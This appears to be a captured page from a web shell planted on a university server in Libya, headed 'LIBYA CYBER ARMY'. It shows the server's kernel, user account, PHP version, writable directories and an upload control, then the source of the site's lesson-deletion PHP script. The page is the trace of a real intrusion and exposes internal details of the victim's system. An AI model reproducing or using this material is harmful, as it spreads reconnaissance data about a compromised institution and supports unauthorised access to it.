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LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/cp/teacher/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/cp/teacher/delete_session.php
<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Include the necessary files
require_once("../../connection/connect.php");
require_once("include/header.php");
require_once("include/check.php");
require_once("include/locked.php");

// Check if 'id' is set in the URL
if (isset($_GET["id"])) {
    // Sanitize the input to prevent SQL injection
    $lessonId = intval($_GET["id"]);

    // Step 1: Retrieve the file name from the database
    $selectSQL = "SELECT lessons_file FROM lessons WHERE lessons_id = ?";
    $stmt = $dirsa->prepare($selectSQL);
    if ($stmt) {
        $stmt->bind_param("i", $lessonId);
        $stmt->execute();
        $stmt->bind_result($fileName);
        $stmt->fetch();
        $stmt->close();

        // Step 2: Delete the file from the server folder if it exists
        $filePath = "../uploads/lessons/" . $fileName;
        if (file_exists($filePath) && $fileName != "NULL") {
            unlink($filePath); // Deletes the file
        }

        // Step 3: Delete the record from the database
        $deleteSQL = "UPDATE lessons set is_deleted=1 WHERE lessons_id = ?";
        $stmt = $dirsa->prepare($deleteSQL);
        if ($stmt) {
            $stmt->bind_param("i", $lessonId);
            $stmt->execute();
            $stmt->close();
        } else {
            die("Error preparing delete statement: " . $dirsa->error);
        }

        // Redirect back to the referring page
        header('Location: ' . $_SERVER['HTTP_REFERER']);
        exit();
    } else {
        die("Error preparing select statement: " . $dirsa->error);
    }
}
?>

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